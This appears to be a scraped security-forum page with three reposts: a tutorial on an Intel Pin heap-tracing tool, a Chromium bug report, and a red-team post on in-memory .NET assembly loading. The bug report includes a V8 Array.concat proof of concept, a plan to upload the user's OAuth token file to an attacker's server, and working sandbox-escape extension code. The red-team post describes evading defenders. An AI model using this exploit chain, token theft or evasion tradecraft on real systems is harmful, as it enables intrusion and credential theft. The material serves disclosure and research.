addr) { if (!start_trace) return; if (addr == NULL) { cerr << "[-] Error: RtlAllocateHeap() return value was NULL."; return; } map<ADDRINT, bool>::iterator it = MallocMap.find(addr); if (it != MallocMap.end()) { if (it->second) it->second = false; else cerr << "[-] Error: allocating memory not freed!?!" << endl; } else { MallocMap.insert(pair<ADDRINT, bool>(addr, false)); LogFile << "\t\t= 0x" << hex << addr << endl; } } VOID LogFree(ADDRINT addr) { if (!start_trace) return; map<ADDRINT, bool>::iterator it = MallocMap.find(addr); if (it != MallocMap.end()) { if (it->second) LogFile << "[*] Memory at address 0x" << hex << addr << " has been freed more than once (Double Free)." << endl; else { it->second = true; // Mark it as freed LogFile << "[*] RtlFreeHeap(0x" << hex << addr << ")" << endl; } } else LogFile << "[*] Freeing unallocated memory at address 0x" << hex << addr << "." << endl; } VOID BeforeMain() { start_trace = true; } VOID AfterMain() { start_trace = false; } VOID CustomInstrumentation(IMG img, VOID *v) { for (SYM sym = IMG_RegsymHead(img); SYM_Valid(sym); sym = SYM_Next(sym)) { string undFuncName = PIN_UndecorateSymbolName(SYM_Name(sym), UNDECORATION_NAME_ONLY); if(EnumSymbols.Value()) { LogFile << "" << undFuncName << "" << endl; continue; } if (undFuncName == EntryPoint.Value().c_str()) { RTN allocRtn = RTN_FindByAddress(IMG_LowAddress(img) + SYM_Value(sym)); if (RTN_Valid(allocRtn)) { RTN_Open(allocRtn); RTN_InsertCall(allocRtn, IPOINT_BEFORE, (AFUNPTR)BeforeMain, IARG_END); RTN_InsertCall(allocRtn, IPOINT_AFTER, (AFUNPTR)AfterMain, IARG_END); RTN_Close(allocRtn); } } if (undFuncName == "RtlAllocateHeap") { RTN allocRtn = RTN_FindByAddress(IMG_LowAddress(img) + SYM_Value(sym)); if (RTN_Valid(allocRtn)) { RTN_Open(allocRtn); // Record RtlAllocateHeap size RTN_InsertCall(allocRtn, IPOINT_BEFORE, (AFUNPTR)LogBeforeMalloc, IARG_FUNCARG_ENTRYPOINT_VALUE, 2, IARG_END); // Record RtlAllocateHeap return address RTN_InsertCall(allocRtn, IPOINT_AFTER, (AFUNPTR)LogAfterMalloc, IARG_FUNCRET_EXITPOINT_VALUE, IARG_END); RTN_Close(allocRtn); } } if (undFuncName == "RtlReAllocateHeap") { RTN reallocRtn = RTN_FindByAddress(IMG_LowAddress(img) + SYM_Value(sym)); if (RTN_Valid(reallocRtn)) { RTN_Open(reallocRtn); // Record RtlReAllocateHeap freed_addr, size RTN_InsertCall(reallocRtn, IPOINT_BEFORE, (AFUNPTR)LogBeforeReAlloc, IARG_FUNCARG_ENTRYPOINT_VALUE, 2, IARG_FUNCARG_ENTRYPOINT_VALUE, 3, IARG_END); // Record RtlReAllocateHeap return address RTN_InsertCall(reallocRtn, IPOINT_AFTER, (AFUNPTR)LogAfterReAlloc, IARG_FUNCRET_EXITPOINT_VALUE, IARG_END); RTN_Close(reallocRtn); } } else if (undFuncName == "RtlFreeHeap") { RTN freeRtn = RTN_FindByAddress(IMG_LowAddress(img) + SYM_Value(sym)); if (RTN_Valid(freeRtn)) { RTN_Open(freeRtn); RTN_InsertCall(freeRtn, IPOINT_BEFORE, (AFUNPTR)LogFree, IARG_FUNCARG_ENTRYPOINT_VALUE, 2, IARG_END); RTN_Close(freeRtn); } } if (undFuncName == "VirtualAllocEx") { RTN vrallocRtn = RTN_FindByAddress(IMG_LowAddress(img) + SYM_Value(sym)); if (RTN_Valid(vrallocRtn)) { RTN_Open(vrallocRtn); RTN_InsertCall(vrallocRtn, IPOINT_BEFORE, (AFUNPTR)LogBeforeVirtualAlloc, IARG_FUNCARG_ENTRYPOINT_VALUE, 2, IARG_END); RTN_InsertCall(vrallocRtn, IPOINT_AFTER, (AFUNPTR)LogAfterVirtualAlloc, IARG_FUNCRET_EXITPOINT_VALUE, IARG_END); RTN_Close(vrallocRtn); } } if (undFuncName == "VirtualFreeEx") { RTN vrfreeRtn = RTN_FindByAddress(IMG_LowAddress(img) + SYM_Value(sym)); if (RTN_Valid(vrfreeRtn)) { RTN_Open(vrfreeRtn); RTN_InsertCall(vrfreeRtn, IPOINT_BEFORE, (AFUNPTR)LogBeforeVirtualFree, IARG_FUNCARG_ENTRYPOINT_VALUE, 1, IARG_END); RTN_Close(vrfreeRtn); } } } } VOID FinalFunc(INT32 code, VOID *v) { for (pair<ADDRINT, bool> p : MallocMap) { if (!p.second) LogFile << "[*] Memory at address 0x" << hex << p.first << " allocated but not freed" << endl; } LogFile.close(); } int main(int argc, char *argv[]) { PIN_InitSymbols(); PIN_Init(argc, argv); LogFile.open(LogFileName.Value().c_str()); LogFile << "## Memory tracing for PID = " << PIN_GetPid() << " started" << endl; if (EnumSymbols.Value()) LogFile << "### Listing Symbols" << endl; else LogFile << "### Started tracing after '" << EntryPoint.Value().c_str() << "()' call" << endl; IMG_AddInstrumentFunction(CustomInstrumentation, NULL); PIN_AddFiniFunction(FinalFunc, NULL); PIN_StartProgram(); return 0; } There are a couple of new options supported by this Pintool. If you look at the KNOB switches (below), you’ll see that the Pintool now supports two new options. KNOB<string> EntryPoint(KNOB_MODE_WRITEONCE, "pintool", "entrypoint", "main", "Guest entry-point function"); KNOB<BOOL> EnumSymbols(KNOB_MODE_WRITEONCE, "pintool", "symbols", "0", "List Symbols"); You can specify what’s the entry-point function of the target/guest application you want to trace. Why is this useful? If you don’t do it, all the initialization code will also be traced and it will become very hard to make sense of the output of our Pintool. Try. By default, the tracing will start only after the function main is called. Obviously, if our target/guest application doesn’t have a main function, we’ll end with an empty output file. Let’s look at a specific example. Let’s look at the Windows calc.exe. This binary doesn’t have a main function. So we run our Pintool as shown below. C:\pin>pin -t source\tools\WinMallocTracer\Release\WinMallocTracer.dll -- calc.exe We’ll get the following output. ## Memory tracing for PID = 1732 started ### Started tracing after 'main()' call As expected, since calc.exe doesn’t have a main function. So, if we want to trace calc.exe or any other binary, we’ll need to find what’s its entry-point (or any other call after we want to start our trace). We can launch it on IDA, for example, or we can use the other KNOB switch (-symbols) as shown below to list all the symbols. C:\pin>pin -t source\tools\WinMallocTracer\Release\WinMallocTracer.dll -symbols 1 -- calc.exe And look at the output file (by default memprofile.out) to see if we can find the function we are looking for. C:\pin> type memprofile.out ## Memory tracing for PID = 5696 started ### Listing Symbols unnamedImageEntryPoint InterlockedIncrement InterlockedDecrement InterlockedExchange InterlockedCompareExchange InterlockedExchangeAdd KernelBaseGetGlobalData unnamedImageEntryPoint GetErrorMode SetErrorMode CreateIoCompletionPort PostQueuedCompletionStatus GetOverlappedResult (...) If you want to see the whole contents of the file you can find it here. The first line is quite interesting though, and it’s probably what we are looking for (unnamedImageEntryPoint). So we can use our Pintool as shown below. C:\pin>pin -t source\tools\WinMallocTracer\Release\WinMallocTracer.dll -entrypoint unnamedImageEntryPoint -- calc.exe And if we look at the output this time we’ll get something like: C:\pin> type memprofile.out ## Memory tracing for PID = 6656 started ### Started tracing after 'unnamedImageEntryPoint()' call [*] RtlAllocateHeap(32) = 0x4d9098 [*] RtlAllocateHeap(564) = 0x2050590 [*] RtlAllocateHeap(520) = 0x4dcb18 [*] RtlAllocateHeap(1024) = 0x4dd240 [*] RtlAllocateHeap(532) = 0x20507d0 [*] RtlAllocateHeap(1152) = 0x20509f0 [*] RtlAllocateHeap(3608) = 0x4dd648 [*] RtlAllocateHeap(1804) = 0x2050e78 [*] RtlFreeHeap(0x4dd648) (...) If you want to see the whole contents of the file you can find it here. As you’ll see, it’s still hard to read and make sense of the output. As I mentioned before, this Pintool can actually tell there’s a problem, but not where it is. I’ll try to improve the Pintool, and if you are interested you can follow its future developments here. At least, every time I detect an issue I’ll add a PIN_ApplicationBreakpoint. In some cases, it might still be very hard to locate the issue, but it’s a starting point. There are also a lot of false positives, as you can see in the output of calc.exe. To validate that actually the Pintool is working we can use the following sample target/guest (I called it ExercisePin2.exe). #include <windows.h> #include <stdio.h> #define PAGELIMIT 80 int my_heap_functions(char *buf) { HLOCAL h1 = 0, h2 = 0, h3 = 0, h4 = 0; h1 = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 260); h2 = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 260); HeapFree(GetProcessHeap(), 0, h1); h3 = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 520); h4 = HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, h3, 1040); HeapFree(GetProcessHeap(), 0, h4); return 0; } int my_virtual_functions(char *buf) { LPVOID lpvBase; DWORD dwPageSize; BOOL bSuccess; SYSTEM_INFO sSysInfo; // Useful information about the system GetSystemInfo(&sSysInfo); // Initialize the structure. dwPageSize = sSysInfo.dwPageSize; // Reserve pages in the virtual address space of the process. lpvBase = VirtualAlloc( NULL, // System selects address PAGELIMIT*dwPageSize, // Size of allocation MEM_RESERVE, // Allocate reserved pages PAGE_NOACCESS); // Protection = no access if (lpvBase == NULL) exit("VirtualAlloc reserve failed."); bSuccess = VirtualFree( lpvBase, // Base address of block 0, // Bytes of committed pages MEM_RELEASE); // Decommit the pages return 0; } int main(void) { my_heap_functions("moo"); my_virtual_functions("moo"); return 0; } You can find the Visual Studio project here. You can play with it a compare the output with what’s expected based on ExercisePin2.c source code. C:\pin>pin -t source\tools\WinMallocTracer\Release\WinMallocTracer.dll -symbols 1 -- C:\TARGET\ExercisePin2.exe C:\pin> type memprofile.out ## Memory tracing for PID = 5600 started ### Listing Symbols _enc$textbss$end unnamedImageEntryPoint main my_heap_functions my_virtual_functions HeapAlloc HeapReAlloc HeapFree GetProcessHeap GetSystemInfo (...) The full output is here. Since the entry-point function is main, we can simply run the Pintool without passing anything to it. C:\pin>pin -t source\tools\WinMallocTracer\Release\WinMallocTracer.dll -- C:\TARGET\ExercisePin2.exe C:\pin> type memprofile.out ## Memory tracing for PID = 4396 started ### Started tracing after 'main()' call [*] RtlAllocateHeap(260) = 0x41dd30 [*] RtlAllocateHeap(260) = 0x41de40 [*] RtlFreeHeap(0x41dd30) [*] RtlAllocateHeap(520) = 0x41df50 [*] RtlHeapfree(0x41df50) from RtlHeapRealloc() [*] RtlHeapReAlloc(1040) = 0x41df50 [*] RtlFreeHeap(0x41df50) [*] VirtualAllocEx(327680) = 0x2410000 [*] VirtualFreeEx(0x2410000) [*] Memory at address 0x41de40 allocated but not freed As we can see, tracing memory calls is tricky, but achievable. I’ll try to add a few more things to this WinMallocTracer Pintool in a near future. Keep an eye on GitHub if you fancy. Final notes Playing with a DBI framework is not that hard, as we saw, the challenge lies in doing it right. That is, handle all the corner cases efficiently. Something that looks fairly easy can become very challenging if we are going to do it right. The example tool I chose came from a specific need, and from a vulnerability discovering perspective DBI frameworks are indeed very useful. There’s a lot of room for improvement, and I plan to keep working on it. Even though it was the Fuzzing subject that brought me here (that is, playing with DBI frameworks) I ended up not talking too much about its relationship. Think that a DBI tool per si won’t find many bugs unless you exercise as many code paths as possible. After all, a DBI system only modifies the code that’s executed. So, it’s easy to understand that we need to combine it with a coverage-guided Fuzzer to discover more bugs (preferably, exploitable). DBI systems are here to stay, they emerged as a means for bypassing the restrictions imposed by binary code. Or, lack of access to source code. The need to understand, and modify the runtime behavior, of computer programs, is undeniable. The field of dynamic binary modification is evolving very fast. New applications and new complex engineering challenges are appearing constantly and static binary patching and hooking are “things” from the past. This post documents the first steps if you want to get into this area. All the code snippets used are available at my GitHub. References (in no particular order) https://en.wikipedia.org/wiki/Pin_(computer_program) https://en.wikipedia.org/wiki/Dynamic_program_analysis https://en.wikipedia.org/wiki/Instrumentation_(computer_programming) http://uninformed.org/index.cgi?v=7&a=1&p=3 https://software.intel.com/sites/landingpage/pintool/docs/97619/Pin/html/ http://www.ic.unicamp.br/~rodolfo/mo801/04-PinTutorial.pdf https://software.intel.com/en-us/articles/pin-a-dynamic-binary-instrumentation-tool https://software.intel.com/sites/default/files/managed/62/f4/cgo2013.pdf https://software.intel.com/sites/default/files/m/d/4/1/d/8/pin_tutorial_cgo_ispass_2012.ppt https://software.intel.com/sites/default/files/m/d/4/1/d/8/Pin_tutorial_cgo_2011_final_1.ppt https://software.intel.com/sites/default/files/article/256675/cgo-2010-final.ppt https://msdn.microsoft.com/en-gb/magazine/dn818497.aspx (got a bunch of ideas from this post) https://github.com/jingpu/pintools/blob/master/source/tools/ManualExamples/w_malloctrace.cpp https://github.com/corelan/pin http://dynamorio.org/docs/ http://dynamorio.org/tutorial.html http://dynamorio.org/pubs.html http://dynamorio.org/docs/API_BT.html#sec_decode https://groups.google.com/forum/#!forum/dynamorio-users http://dynamorio.org/docs/samples/wrap.c https://github.com/DynamoRIO/dynamorio/blob/master/api/samples/ssljack.c https://axtaxt.wordpress.com/2014/03/02/implementing-a-simple-hit-tracer-in-dynamorio/ Building Dynamic Instrumentation Tools with DynamoRIO https://media.blackhat.com/bh-us-11/Diskin/BH_US_11_Diskin_Binary_Instrumentation_Slides.pdf Using Binary Instrumentation for Vulnerability Discovery (mandatory) Dynamic Binary Analysis and Instrumentation Covering a function using a DSE approach (mandatory) http://2011.zeronights.org/files/dmitriyd1g1evdokimov-dbiintro-111202045015-phpapp01.pdf https://qbdi.quarkslab.com/QBDI_34c3.pdf Getting fun with Frida (mandatory) https://dyninst.org/sites/default/files/manuals/dyninst/dyninstAPI.pdf https://www.frida.re/docs/home/ https://www.frida.re/docs/presentations/ https://monosource.github.io/tutorial/2017/01/26/frida-linux-part1/ (my frida section comes mostly from here) https://vicarius.io/blog/wtf-is-frida/ http://blog.kalleberg.org/post/833101026/live-x86-code-instrumentation-with-frida https://www.codemetrix.net/hacking-android-apps-with-frida-1/ https://en.wikipedia.org/wiki/Chrome_V8 https://github.com/BinaryAnalysisPlatform/bap-tutorial Hiding PIN’s Artifacts to Defeat Evasive Malware https://software.intel.com/en-us/articles/pin-errors-in-2017-update-3-and-4-analysis-tools Pwning Intel Pin Reconsidering Intel Pin in Context of Security Dynamic Program Analysis and Optimization under DynamoRIO https://bsidesvienna.at/slides/2017/the_art_of_fuzzing.pdf https://libraries.io/github/memtt/malt http://3nity.io/~vj/downloads/publications/pldi05_pin.pdf http://valgrind.org/docs/valgrind2007.pdf http://groups.csail.mit.edu/commit/papers/03/RIO-adaptive-CGO03.pdf http://groups.csail.mit.edu/commit/papers/01/RIO-FDDO.pdf Triton Concolic Execution Framework https://www.cc.gatech.edu/~orso/papers/clause.li.orso.ISSTA07.pdf http://www-leland.stanford.edu/class/cs343/resources/shadow-memory2007.pdf http://www.burningcutlery.com/derek/docs/drmem-CGO11.pdf http://valgrind.org/docs/iiswc2006.pdf https://pdfs.semanticscholar.org/1156/5da78c06a94c1fc8a0ff3a8d710cb9a5d450.pdf http://homepages.dcc.ufmg.br/~fernando/publications/papers_pt/Tymburiba15Tools.pdf http://delivery.acm.org/10.1145/3030000/3029812/p219-elsabagh.pdf http://sharcs-project.eu/m/filer_public/74/5c/745c0bf6-7636-405f-86e6-089ac630f0d2/patharmor_ccs15.pdf https://www.bodden.de/pubs/fb2016ropocop.pdf https://arxiv.org/pdf/1502.03245.pdf https://suif.stanford.edu/papers/vmi-ndss03.pdf https://recon.cx/2012/schedule/attachments/42_FalconRiva_2012.pdf https://hackinparis.com/data/slides/2013/slidesricardorodriguez.pdf Black Box Auditing Adobe Shockwave Covert Debugging Circumventing Software Armoring Techniques Shellcode analysis using dynamic binary instrumentation http://taviso.decsystem.org/making_software_dumber.pdf http://web.cs.iastate.edu/~weile/cs513x/2018spring/taintanalysis.pdf Hybrid analysis of executables to detect security vulnerabilities Tripoux Reverse Engineering Of Malware Packers For Dummies https://pdfs.semanticscholar.org/presentation/c135/68c933ea8f6a91db67a103715fd1d4ce2253.pdf https://code.google.com/archive/p/devilheart/ http://groups.csail.mit.edu/commit/papers/02/RIO-security-usenix.pdf http://pages.cs.wisc.edu/~madhurm/pindb/pindb.pdf https://www.usenix.org/legacy/event/osdi10/tech/full_papers/Enck.pdf https://deepsec.net/docs/Slides/2009/DeepSec_2009Daniel_Reynaud-_Deobfuscation_Unpacking.pdf http://fmv.jku.at/master/Holzleiter-MasterThesis-2009.pdf http://csl.cs.ucf.edu/debugging/user_guide.html http://bitblaze.cs.berkeley.edu/papers/sweeper.pdf http://www.ece.neu.edu/groups/nucar/publications/ASSISD06moffie.pdf https://events.ccc.de/congress/2009/Fahrplan/attachments/1430_secuBT.pdf https://recon.cx/2010/slides/Recon2010-UnderStaningSwizzorObfuscation.pdf http://www.dtic.mil/dtic/tr/fulltext/u2/a462289.pdf Pin++: A Object-oriented Framework for Writing Pintools Rootkit detection via Kernel Code Tunneling https://media.blackhat.com/bh-eu-11/Mihai_Chiriac/BlackHat_EU_2011_Chiriac_Rootkit_detection-WP.pdf https://www.cc.gatech.edu/~orso/papers/clause.li.orso.ISSTA07.pdf https://recon.cx/2014/slides/pinpoint_control_for_analyzing_malware_recon2014_jjones.pdf https://arxiv.org/pdf/1503.01186.pdf https://code.google.com/archive/p/tartetatintools/ https://github.com/0xPhoeniX/MazeWalker https://recon.cx/2017/montreal/resources/slides/RECON-MTL-2017-MazeWalker.pdf https://github.com/poxyran/misc/blob/master/frida-heap-trace.py https://github.com/OALabs/frida-extract https://github.com/Nightbringer21/fridump https://edmcman.github.io/papers/oakland10.pdf https://edmcman.github.io/pres/oakland10.pdf https://github.com/falconre/falcon http://reversing.io/posts/palindrome-progress/ https://www.reddit.com/r/REMath/comments/8ml1ep/books_on_program_analysis/ http://bitblaze.cs.berkeley.edu/temu.html https://code.google.com/archive/p/flayer/ https://resources.infosecinstitute.com/pin-dynamic-binary-instrumentation-framework/ http://www.ckluk.org/ck/papers/pin_ieeecomputer10.pdf A simple PIN tool unpacker for the Linux version of Skype (mandatory) http://www.msreverseengineering.com/program-analysis-reading-list/ (mandatory) Dynamic Binary Modifications: Tools, Techniques & Applications (mandatory) https://riot.im/app/#/room/#programanalysis:disroot.org https://github.com/wapiflapi/villoc/blob/master/pintool/pintool.cpp http://www.computerix.info/skripten/mem-bugs.pdf https://en.wikibooks.org/wiki/Linux_Applications_Debugging_Techniques/Leaks https://en.wikipedia.org/wiki/Memory_debugger https://nebelwelt.net/publications/students/11fs-kravina-lightweight_memory_tracing.pdf https://panthema.net/2013/malloc_count/ http://www.burningcutlery.com/derek/docs/drmem-CGO11.pdf https://github.com/DataChi/memdb Videos Implementing an LLVM based Dynamic Binary Instrumentation framework DEF CON 15 - Quist and Valsmith - Covert Debugging HIRBSecConf 2009 - Travis Ormandy - Making Software Dumber Ole André Vadla Ravnås - Frida: The engineering behind the reverse-engineering Finding security vulnerabilities with modern fuzzing techniques (RuhrSec 2018) (multiple references to dynamic binary instrumentation) Sursa: http://deniable.org/reversing/binary-instrumentation
-
- 1
-
-
VULNERABILITY DETAILS = Out-of-bounds access vulnerability in Array.concat() I use a bug in Array.concat() to execute arbitraty code in a sandbox. ---------------------------------------------------------------------- v8/src/runtime.cc [1] RUNTIME_FUNCTION(Runtime_ArrayConcat) { HandleScope handle_scope(isolate); ASSERT(args.length() == 1); CONVERT_ARG_HANDLE_CHECKED(JSArray, arguments, 0); int argument_count = static_cast<int>(arguments->length()->Number()); RUNTIME_ASSERT(arguments->HasFastObjectElements()); Handle<FixedArray> elements(FixedArray::cast(arguments->elements())); // Pass 1: estimate the length and number of elements of the result. // The actual length can be larger if any of the arguments have getters // that mutate other arguments (but will otherwise be precise). // The number of elements is precise if there are no inherited elements. ElementsKind kind = FAST_SMI_ELEMENTS; uint32_t estimate_result_length = 0; uint32_t estimate_nof_elements = 0; for (int i = 0; i < argument_count; i++) { HandleScope loop_scope(isolate); Handle<Object> obj(elements->get(i), isolate); uint32_t length_estimate; uint32_t element_estimate; if (obj->IsJSArray()) { Handle<JSArray> array(Handle<JSArray>::cast(obj)); length_estimate = static_cast<uint32_t>(array->length()->Number()); <<<<< Comment 1. This is first time, reference a length field of array. if (length_estimate != 0) { ElementsKind array_kind = GetPackedElementsKind(array->map()->elements_kind()); if (IsMoreGeneralElementsKindTransition(kind, array_kind)) { kind = array_kind; } } element_estimate = EstimateElementCount(array); } else { if (obj->IsHeapObject()) { if (obj->IsNumber()) { if (IsMoreGeneralElementsKindTransition(kind, FAST_DOUBLE_ELEMENTS)) { kind = FAST_DOUBLE_ELEMENTS; } } else if (IsMoreGeneralElementsKindTransition(kind, FAST_ELEMENTS)) { kind = FAST_ELEMENTS; } } length_estimate = 1; element_estimate = 1; } // Avoid overflows by capping at kMaxElementCount. if (JSObject::kMaxElementCount - estimate_result_length < length_estimate) { estimate_result_length = JSObject::kMaxElementCount; } else { estimate_result_length += length_estimate; <<<<< Comment 2. length_estimate, which is initialized in [Comment 1], is added to estimate_result_length. } if (JSObject::kMaxElementCount - estimate_nof_elements < element_estimate) { estimate_nof_elements = JSObject::kMaxElementCo unt; } else { estimate_nof_elements += element_estimate; } } ... ... Handle<FixedArray> storage; if (fast_case) { // The backing storage array must have non-existing elements to preserve // holes across concat operations. storage = isolate->factory()->NewFixedArrayWithHoles( <<<<< Comment 3. Create an array of size estimated_result_length. estimate_result_length); } else { // TODO(126): move 25% pre-allocation logic into Dictionary::Allocate uint32_t at_least_space_for = estimate_nof_elements + (estimate_nof_elements >> 2); storage = Handle<FixedArray>::cast( SeededNumberDictionary::New(isolate, at_least_space_for)); } ArrayConcatVisitor visitor(isolate, storage, fast_case); for (int i = 0; i < argument_count; i++) { Handle<Object> obj(elements->get(i), isolate); if (obj->IsJSArray()) { Handle<JSArray> array = Handle<JSArray>::cast(obj); if (!IterateElements(isolate, array, &visitor)) { <<<<< Comment 4. Call IterateElements() return isolate->heap()->exception(); } } else { visitor.visit(0, obj); visitor.increase_index_offset(1); } } if (visitor.exceeds_array_limit()) { return isolate->Throw( *isolate->factory()->NewRangeError("invalid_array_length", HandleVector<Object>(NULL, 0))); } return *visitor.ToArray(); <<<<< Comment 5. ToArray() create a corrupted Array. } ---------------------------------------------------------------------- Here is details on IterateElements() and ToArray(). ---------------------------------------------------------------------- v8/src/runtime.cc [1] static bool IterateElements(Isolate* isolate, Handle<JSArray> receiver, ArrayConcatVisitor* visitor) { uint32_t length = static_cast<uint32_t>(receiver->length()->Number()); <<<<< 4.1. This is second time, reference a length field of array. switch (receiver->GetElementsKind()) { ... } visitor->increase_index_offset(length); <<<<<<<<<< return true; } void increase_index_offset(uint32_t delta) { if (JSObject::kMaxElementCount - index_offset_ < delta) { index_offset_ = JSObject::kMaxElementCount; } else { index_offset_ += delta; <<<<<<<<< } } ---------------------------------------------------------------------- ---------------------------------------------------------------------- Handle<JSArray> ToArray() { Handle<JSArray> array = isolate_->factory()->NewJSArray(0); Handle<Object> length = isolate_->factory()->NewNumber(static_cast<double>(index_offset_)); <<<<< 5.1. local variable length is initalized with member variable index_offset_. Handle<Map> map = JSObject::GetElementsTransitionMap( array, fast_elements_ ? FAST_HOLEY_ELEMENTS : DICTIONARY_ELEMENTS); array->set_map(*map); array->set_length(*length); <<<<< array->set_elements(*storage_); <<<<< 5.2. However, storage_ is created with a size with [Comment 3]. return array; } ---------------------------------------------------------------------- (I can't definitely sure whether those above analysis is accurate or not.) Here is proof-of-concept. ---------------------------------------------------------------------- a = [1]; b = []; a.__defineGetter__(0, function () { b.length = 0xffffffff; }); c = a.concat(b); console.log(c); ---------------------------------------------------------------------- = From out-of-bounds to code execution Using out-of-bounds vulnerability in Array, attacker can trigger Use-after-free to execute code. 1. Create 2D Array, which contain corrupted Array(###) and normal Array(o), alternatively. [###########][ o ][###########][ o ][###########][ o ][###########][ o ] 2. free all normal Arrays(o) and 2D Array. 3. reference freed normal array(o) by corrupted array(###). ---------| [###########][ o ][###########][ o ][###########][ o ][###########][ o ] 4. Memory is not entirely clear, even normal Array(o) was freed. So we can use it as normal object. 5. Let an ArrayBuffer allocated on freed normal array(o) by creating many ArrayBuffer. 6. Through freed normal Array(o), manipulate ArrayBuffer's property(byteLength, buffer address) to arbitrary memory access. P.S. exploit is not optimized. = Sandbox bypassing via chrome extension Here, i describe exploit scenario and explain about sandbox escaping. Step 0. Victim open a malicious web page(Exploit). Step 1. Exploit let victim download a html page which will be executed on file:// origin. Step 2. After triggerring code execution vulnerability, open the html page(html page on step 1) by NavigateContentWindow(It use same functionality of chrome.embeddedSearch.newTabPage.navigateContentWindow of chrome://newtab). Step 3. Because of origin is file://. Attacker can access local files(read). but due to SecurityOrigin, use code execution flaws to change SecurityOrigin. Step 4. Upload user's oauth token information (%localappdata%/Google/Chrome/User Data/Default/Web Data) to attacker's server. Step 5. From now on, we can synchronize Chrome with the user's token(i'm not sure that there is additional security mechanism on OAuth to synchronize chrome browser). Step 6. Install extension for at Synchronized chrome. Step 7. During synchronization a user's Chrome install extension, too. [Step 4] may takes time. in case of windows, token file is encrypted with DPAPI. So, bruteforcing password for windows login is required to get a master key file at %appdata%/Microsoft/Protect/. [Step 6] use some vulnerability(?) in extension to bypass sandbox. In chrome://settings-frame/settings, user can change download.default_directory. Using chrome.downloads.showDefaultFolder(), chrome extension can open the directory on download.default_directory. but it doesn’t check whether directory path is file or directory. (in case of file, Chrome execute it) So, malicious attacker can bypass sandbox by set download.default_directory to an executable on external server(e.g. \\host\hihi.exe) then call chrome.downloads.showDefaultFolder(). I use debugger for extension to run JavaScript on chrome://settings-frame/settings. In general, url start with chrome:// is not attachable. but simple tricks as following works. view-source:chrome://settings-frame/settings about:settings-frame/settings Chrome extension code for sandbox escaping ---------------------------------------------------------------------- function sleep(milliseconds) { var start = new Date().getTime(); for (;;) { if ((new Date().getTime() - start) > milliseconds) break; } } chrome.tabs.create({url: "about:settings-frame/settings"}, function (tab) { chrome.debugger.attach({tabId: tab.id}, "1.0", function () { sleep(1000); chrome.debugger.sendCommand({tabId: tab.id}, "Runtime.evaluate", {expression: 'old = document.getElementById("downloadLocationPath").value; chrome.send("setStringPref", ["download.default_directory", "c:\\\\windows\\\\system32\\\\calc.exe"]);'}, function (o) { sleep(100); chrome.downloads.showDefaultFolder(); //open calc chrome.debugger.sendCommand({tabId: tab.id}, "Runtime.evaluate", {expression: 'chrome.send("setStringPref", ["download.default_directory", old]); window.close();'}); }); }); }); ---------------------------------------------------------------------- Tested on Windows 7 VERSION Chrome Version: 35.0.1916.153 stable Operating System: Windows 7 Sursa: https://bugs.chromium.org/p/chromium/issues/detail?id=386988
-
- 2
-
-
Tim MalcomVetter Red Team Leader at Fortune 1. I left my clever profile in my other social network: https://www.linkedin.com/in/malcomvetter Jul 25 .NET Process Injection For a while now, I have been saying that PowerShell is dead in high security environments. Yes, it still works in environments where they haven’t figured out how to monitor PowerShell or at least process creation commands and arguments, but as soon as a defensive team implements visibility into this space, defense (the blue team) has all the advantages over an adversary playing in this space. No, obfuscated PowerShell probably doesn’t help. It may help against a non-human control, such as a dumb search filter, but obfuscated PowerShell actually stands out more than regular looking PowerShell, and in practice my team finds that it can be an easy way to get caught. Fast forward to yesterday. SpecterOps released a whole new slew of adversary kit written in C#, most of which is a re-write of the PowerShell tools that team has released over the past few years. Why is this relevant? Because C# and PowerShell share the same underlying technology — the dotnet runtime — but all of the defensive telemetry that has come out in the past few years has been focused on PowerShell itself, or if and endpoint security tool focused more abstractly, they focused on process creation, namely the executable name and its arguments. In the latter example, both: powershell -iex [blah] and net user [blah] /domain will fall into the visibility of the defenders. This is why, in today’s most secure environments, adversaries should view process creation as EXPENSIVE. Creating a process comes with a high cost, and that cost is visibility by defenders. Two key events — initial access and persistence — require living within a process and typically require creating a new one, so it is necessary overhead for the adversary. However, a wise operator will probably limit how often their adversary capital is spent on things like process creation. In the past, that’s where things like DLL injection have been handy — there are less new processes in existence (plus sometimes there are added benefits from the parent process’s access). However, calls to CreateRemoteThread can be noisy and immediately picked up via endpoint telemetry, so it has less and less appeal to an adversary in a high security environment. Given SpecterOps C# tools release yesterday, we can probably view that event as the high watermark that we are living within the golden age of offensive .NET assemblies. Why? Because the same powerful libraries behind PowerShell were behind C# for many years before PowerShell was ever created, and most of the Blue Team telemetry for PowerShell is irrelevant against C#. What’s old is new again, as they say. But, as we traverse down this path together, process creation is still expensive and CreateRemoteThread still has its pitfalls. Not to mention that as specific tools are created and released with published binaries, then AV vendors will publish signatures for those binaries, which adversaries will want to bypass. If only there were other ways to load these offensive .NET assemblies from memory straight into the CPU? How about a simple method that uses only native .NET runtime features, so no additional resources are required? Even better, since we have to build tools quickly and don’t often have time to refactor another offensive developer’s tools, wouldn’t it be nice to have a method that doesn’t know anything about the binary you’re injecting? How about a method that just takes a base64 encoded string of bytes? There have been examples on StackOverflow and MSDN forums for years that show methods for doing this in C#, but every example I discovered requires the developer to know the assembly’s class names at compile time. A bit of digging into MSDN docs and exploring breakpoints in Visual Studio, and we now have something like this: Let’s walk through the code … First, this is a static class, which means it can be easily pulled into your toolkit in just one or two lines of code, like this: string b64 = [some base64 encoded byte array of a .net assembly]; ManagedInjection.Inject(b64); Inside the Inject() method, the bytes are reassembled from base64 and then the System.Reflection namespace (which is used all the time legitimately, adding to the complexity of good defensive telemetry options) iterates over the binary to determine the class/type names at runtime. The adversary doesn’t have to specify them in this loader code, which is good for both OPSEC reasons and because it makes the code much more complex. Then the Inject() method instantiates the object — so if the binary you’re passing in can run from its constructor, then you’re done — it will do what it needs to do. If it needs a little more help outside of the constructor, then you can pick an initial method name by a convention (in this case I’m choosing “Main()” since most offensive tools are console apps and console apps must have a Main() function). Use your imagination or just write a wrapper object that does what it needs to do via its constructor. In the PoC repo in my github, you can see an example DLL executing by its constructor as well as a Main() method, and a console app being executed by only its Main() method. Keep in mind this PoC code reads the DLL/EXE files as byte arrays, transforms them to base64, and passes them in, but in practicality, this could be part of a larger adversary toolkit where the base64 strings are pulled as modules from a C2 server straight into memory, and possibly the underlying bytes could be encrypted from the C2 server and decrypted at the point of loading the assembly, which further minimizes opportunity for defensive inspection. 